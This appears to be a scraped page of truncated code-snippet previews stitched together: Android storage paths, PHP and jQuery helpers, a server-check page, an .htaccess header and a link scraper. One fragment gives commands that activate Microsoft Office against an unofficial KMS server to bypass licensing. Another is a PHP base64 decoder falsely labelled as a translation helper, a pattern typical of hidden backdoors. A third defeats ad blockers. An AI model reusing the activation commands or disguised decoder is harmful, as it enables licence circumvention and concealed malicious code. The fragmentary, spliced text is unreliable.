System directories
Method | Result |
---|---|
Environment.getDataDirectory() | /data |
Environment.getDownloadCacheDirectory() | /cache |
Environment.getRootDirectory() | /system |
External storage directories
<?php | |
ob_start(); | |
$clientId = ""; //Set your client key | |
// cURL function | |
function Curl($url, $header){ | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); | |
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); |
//Import jQuery | |
var url = "https://nodetent.com/"; | |
$.ajax({ | |
url: 'https://www.googleapis.com/pagespeedonline/v1/runPagespeed?url=' + url + '&screenshot=true', | |
context: this, | |
type: 'GET', | |
dataType: 'json', | |
timeout: 60000, | |
success: function(result) { |
<!doctype html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<title>Server Check</title> | |
<link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css"> | |
</head> | |
<body> | |
<div class="container"> | |
<h1>Server Check</h1> |
System directories
Method | Result |
---|---|
Environment.getDataDirectory() | /data |
Environment.getDownloadCacheDirectory() | /cache |
Environment.getRootDirectory() | /system |
External storage directories
cd\Program Files\Microsoft Office\Office16 | |
cd\Program Files (x86)\Microsoft Office\Office16 | |
cscript OSPP.VBS /sethst:kms.digiboy.ir | |
cscript OSPP.VBS /actcscript OSPP.VBS /dstatus | |
slmgr.vbs /ckms |
<?php | |
/** | |
* Helper function for translation. | |
*/ | |
if (!function_exists('sanitize_context_zero')) { | |
function sanitize_context_zero($input) { | |
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; | |
$chr1 = $chr2 = $chr3 = ""; |
// WARNING: jquery required! | |
// jquery cdn: https://ajax.googleapis.com/ajax/libs/jquery/2.2.2/jquery.min.js | |
function detectAdblock(selector) { | |
return ($($(selector)[0]).css('display') == 'none'); | |
} | |
function preventAdblockStyles(selector) { | |
$(selector).attr('style', 'display: block!important;visibility: visible!important;text-decoration: none!important;'); | |
} |
ffmpeg -re -i "http://example.com/live/username/password/1234.m3u8" -bsf:a aac_adtstoasc -r 30 -b:v 2048k -bufsize 2048k -maxrate 4296k -vf scale="1280:720" -vcodec libx264 -preset ultrafast -c:a copy -f flv "rtmp://freertmpserver.com/servername/keyname" |
# Apache Server Configs v2.14 | MIT License | |
# https://github.com/h5bp/server-configs-apache | |
# (!) Using `.htaccess` files slows down Apache, therefore, if you have | |
# access to the main server configuration file (which is usually called | |
# `httpd.conf`), you should add this logic there. | |
# | |
# https://httpd.apache.org/docs/current/howto/htaccess.html. | |
# ---------------------------------------------------------------------- |
<?php | |
function getAllLinks($url){ | |
$urlData = file_get_contents($url); | |
$dom = new DOMDocument(); | |
@$dom->loadHTML($urlData); | |
$xpath = new DOMXPath($dom); | |
$hrefs = $xpath->evaluate("/html/body//a"); | |
for($i = 0; $i < $hrefs->length; $i++){ | |
$href = $hrefs->item($i); |